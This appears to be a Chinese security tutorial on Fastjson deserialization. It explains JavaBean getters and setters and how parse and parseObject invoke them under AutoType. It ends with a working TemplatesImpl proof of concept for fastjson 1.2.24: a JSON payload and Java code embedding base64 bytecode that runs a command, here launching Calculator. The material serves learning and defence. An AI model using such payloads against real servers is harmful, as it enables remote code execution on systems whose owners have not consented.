Fastjson反序列化漏洞速通
参考文章:
JavaBean
- 若干
private实例字段;
- 通过
public方法来读写实例字段。1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class Person { private String name; private int age;
public String getName() { return this.name; } public void setName(String name) { this.name = name; }
public int getAge() { return this.age; } public void setAge(int age) { this.age = age; } public boolean isChild() public void setChild(boolean value) }
|
如果读写方法符合以下这种命名规范,那么这种class被称为JavaBean:
1 2 3 4
| public Type getXyz()
public void setXyz(Type value)
|
我们通常把一组对应的读方法(getter)和写方法(setter)称为属性(property)。例如,name属性:
- 对应的读方法是
String getName()
- 对应的写方法是
setName(String)
只有getter的属性称为只读属性(read-only),例如,定义一个age只读属性:
- 对应的读方法是
int getAge()
- 无对应的写方法
setAge(int)
类似的,只有setter的属性称为只写属性(write-only)。
很明显,只读属性很常见,只写属性不常见。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package myexp.fastjsonDemo;
public class userBean {
private String name; private int age; private String email;
public userBean() {
}
public userBean(String name, int age, String email) { this.name = name; this.age = age; this.email = email; }
public String getName() { System.out.println("调用getter方法-getName\n"); return name; }
public void setName(String name) { System.out.println("调用setter方法-setName\n"); this.name = name; }
public int getAge() { System.out.printf("调用getter方法-getAge\n"); return age; }
public void setAge(int age) { System.out.printf("调用setter方法-setAge\n"); this.age = age; }
}
|
枚举JavaBean属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import java.beans.*;
public class Main { public static void main(String[] args) throws Exception { BeanInfo info = Introspector.getBeanInfo(Person.class); for (PropertyDescriptor pd : info.getPropertyDescriptors()) { System.out.println(pd.getName()); System.out.println(" " + pd.getReadMethod()); System.out.println(" " + pd.getWriteMethod()); } } }
class Person { private String name; private int age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; } }
|
fastjson
它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
使用 fastjson 无非是将类转为 json 字符串或解析 json 转为 JavaBean。
常用的方法:
1 2 3 4
| JSON.toJSONString() JSON.parse() JSON.parseObject() JSON.parseArray()
|
fastjson 特点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package myexp.fastjsonDemo; import com.alibaba.fastjson.JSON; public class FastJsonExample { public static void main(String[] args) { fastjsonTest(); } public static void javaBeanTest(){ userBean user = new userBean(); user.setAge(18); user.setName("hhhh"); user.getName(); user.getAge(); } public static void fastjsonTest(){
userBean user = new userBean(); user.setAge(18); user.setName("test1"); System.out.println("序列化 JSON.toJsonString ..."); String json = JSON.toJSONString(user); System.out.println(json); System.out.println("反序列化 JSON.parse ..."); Object object1 = JSON.parse(json); System.out.println(object1); System.out.println(object1.getClass().getName()); System.out.println("反序列化 JSON.parseOject(json, Class) ..."); Object object2 = JSON.parseObject(json, userBean.class); System.out.println(object2); System.out.println(object2.getClass().getName()); System.out.println("反序列化 JSON.parseObject(json) ..."); Object object3 = JSON.parseObject(json); System.out.println(object3); System.out.println(object3.getClass().getName()); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 调用setter方法-setAge 调用setter方法-setName
序列化 JSON.toJsonString ... 调用getter方法-getAge 调用getter方法-getName
{"age":18,"name":"test1"} 反序列化 JSON.parse ... {"name":"test1","age":18} com.alibaba.fastjson.JSONObject 反序列化 JSON.parseOject(json, Class) ... 调用setter方法-setAge 调用setter方法-setName
myexp.fastjsonDemo.userBean@1e397ed7 myexp.fastjsonDemo.userBean 反序列化 JSON.parseObject(json) ... {"name":"test1","age":18} com.alibaba.fastjson.JSONObject
|
当JSON.parseOject(json, Class)指定特定类的时候,此时会返回userBean实例。
可见不设置特定类,会是默认的JSONObject,同样也不会再次调用原本类中写的,仅仅是将JSON字符串进行反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public static void fastjsonAutoTypeTest(){ userBean user = new userBean(); user.setAge(18); user.setName("hhhh");
System.out.println("小于等于 FastJson 1.2.24 默认支持 AutoType");
System.out.println("序列化 JSON.toJSONString(user, SerializerFeature.WriteClassName) ..."); String json = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(json);
System.out.println("反序列化 JSON.parse(json) ..."); Object object1 = JSON.parse(json); System.out.println(object1); System.out.println(object1.getClass().getName());
System.out.println("反序列化 JSON.parseObject(json)"); Object object2 = JSON.parseObject(json); System.out.println(object2); System.out.println(object2.getClass().getName()); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| 调用setter方法-setAge 调用setter方法-setName
小于等于 FastJson 1.2.24 默认支持 AutoType 序列化 JSON.toJSONString(user, SerializerFeature.WriteClassName) ... 调用getter方法-getAge 调用getter方法-getName
{"@type":"myexp.fastjsonDemo.userBean","age":18,"name":"hhhh"} 反序列化 JSON.parse(json) ... 调用setter方法-setAge 调用setter方法-setName
myexp.fastjsonDemo.userBean@3e6fa38a myexp.fastjsonDemo.userBean 反序列化 JSON.parseObject(json) 调用setter方法-setAge 调用setter方法-setName
调用getter方法-getAge 调用getter方法-getName
{"name":"hhhh","age":18} com.alibaba.fastjson.JSONObject
|
- 使用
JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
- fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法
- 其中 getter 方法需满足条件:
- 方法名长于 4
- 不是静态方法
- 以
get 开头且第4位是大写字母
- 方法不能有参数传入
- 继承自
Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
- 此属性没有 setter 方法
- setter 方法需满足条件:
- 方法名长于 4
- 不是静态方法
- 以
set 开头且第4位是大写字母
- 返回类型为 void 或当前类
- 参数个数为 1 个。
- 具体逻辑在
com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
- 使用
JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
- 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField 参数。
- fastjson 在为类属性寻找 get/set 方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _ - 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _ 和 - 进行组合混淆。
- fastjson 在反序列化时,如果 Field 类型为
byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
parse与parseObject区别
人话:
如果@type指明了类名,使用parse的时候,不仅会得到对象,还会调用这个对象的setter;
使用的是parseObject的话,不仅会得到对象且调用setter,还会调用getter。
FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象
parseObject() 本质上也是调用 parse() 进行反序列化的。
但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。
所以进行反序列化时的细节区别在于:
- parse() 会识别并调用目标类的 setter 方法
- 而 parseObject()在不指定类型返回类型时,由于要将返回值转化为JSONObject,多执行了
JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的getter方法来将参数赋值给JSONObject。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package fastjson; import com.alibaba.fastjson.JSON; public class FastjsonParseDemo { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException { Person person = new Person(); person.setName("jade"); person.setAge(18); System.out.println("--------------序列化-------------"); String JSON_Serialize = JSON.toJSONString(person); System.out.println(JSON_Serialize); System.out.println("-------------反序列化(parse不指定特定的类)-------------"); Object o1 = JSON.parse(JSON_Serialize); System.out.println(o1.getClass().getName()); System.out.println(o1); System.out.println("-------------反序列化(parseObject不指定特定的类)-------------"); Object o2 = JSON.parseObject(JSON_Serialize); System.out.println(o2.getClass().getName()); System.out.println(o2); System.out.println("-------------反序列化(parseObject指定为Person.class)-------------"); Object o3 = JSON.parseObject(JSON_Serialize,Person.class); System.out.println(o3.getClass().getName()); System.out.println(o3); System.out.println("-------------反序列化(@type parse)-------------"); String JSONAtType1 = "{\"@type\":\"fastjson.Person\",\"name\": \"jade\", \"age\": 18 }"; Object o4 = JSON.parse(JSONAtType1); System.out.println(o4.getClass().getName()); System.out.println(o4); System.out.println("-------------反序列化(@type parseObject)-------------"); String JSONAtType2 = "{\"@type\":\"fastjson.Person\",\"name\": \"jade\", \"age\": 18 }"; Object o5 = JSON.parseObject(JSONAtType2); System.out.println(o5.getClass().getName()); System.out.println(o5); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| 调用setter方法 setName 调用setter方法 setAge --------------序列化------------- 调用getter方法 getAge 调用getter方法 getName {"age":18,"name":"jade"} -------------反序列化(parse不指定特定的类)------------- com.alibaba.fastjson.JSONObject {"name":"jade","age":18} -------------反序列化(parseObject不指定特定的类)------------- com.alibaba.fastjson.JSONObject {"name":"jade","age":18} -------------反序列化(parseObject指定为Person.class)------------- 调用setter方法 setAge 调用setter方法 setName fastjson.Person fastjson.Person@7506e922 -------------反序列化(@type parse)------------- 调用setter方法 setName 调用setter方法 setAge fastjson.Person fastjson.Person@4ee285c6 -------------反序列化(@type parseObject)------------- 调用setter方法 setName 调用setter方法 setAge 调用getter方法 getAge 调用getter方法 getName com.alibaba.fastjson.JSONObject {"name":"jade","age":18}
|
结论

fastjson-1.2.24
TemplatesImpl 反序列化 (条件苛刻)
速谈FastJson反序列化中TemplatesImpl的利用
1 2 3 4 5
| 1. 在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类 2. getTransletInstance方法中判断if (_name == null) return null; 所以要给_name赋值(String) 3. _outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。 4. 由于更改的一些TemplatesImpl私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数。也正是因此,TemplatesImpl这条链的泛用性不强 5. fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码
|
服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)/JSON.parseObject(input,Feature.SupportNonPublicField), 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField) 因为_name _tfactory _bytecodes 为私有变量,并且没有setter方法。
1 2 3 4 5 6 7
| { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADQA...CJAAk="], "_name": "haha", "_tfactory": {}, "_outputProperties": {}, }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package fastjson;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
public class fastjson_1224 { public static void main(String[] args) { String a = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMaU4xdDAvQ0MzL2V4ZWM7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACoBAApTb3VyY2VGaWxlAQAJZXhlYy5qYXZhDAAKAAsHADAMADEAMgEAK29wZW4gLWEgL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMADMANAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgA1AQAOaU4xdDAvQ0MzL2V4ZWMBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAsADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAABgADgAAACAAAwAAAAEADwAQAAAAAAABABMAFAABAAAAAQAVABYAAgAXAAAABAABABgAAQARABkAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAB0ADgAAACoABAAAAAEADwAQAAAAAAABABMAFAABAAAAAQAaABsAAgAAAAEAHAAdAAMAFwAAAAQAAQAYAAgAHgALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAPAAkAEgAMABAADQARABYAEwAOAAAADAABAA0ACQAfACAAAAAhAAAABwACTAcAIgkAAQAjAAAAAgAk\"],\"_name\":\"haha\",\"_tfactory\":{},\"_outputProperties\":{}}"; JSON.parse(a, Feature.SupportNonPublicField); } }
|
思考
变量private Properties _outputProperties对应的getter方法是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties,按照上面的结论在开启AutoType时,只有JSON.parseObject()才会调用getter方法,那么为什么这个时候我们可以使用parse来反序列化自动调用getter方法呢?
FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链
FastJson并不是直接反射获取目标Java类的成员变量的,而是会对setter、getter、成员变量分别进行处理,智能提取出成员变量信息。逻辑如下:
- 识别setter方法名,并根据setter方法名提取出成员变量名。如:识别出setAge()方法,FastJson会提取出age变量名并插入filedList数组。
- 通过clazz.getFields()获取成员变量。
- 识别getter方法名,并根据getter方法名提取出成员变量名。
com.alibaba.fastjson.util.JavaBeanInfo#build

识别getter方法 getOutputProperties :
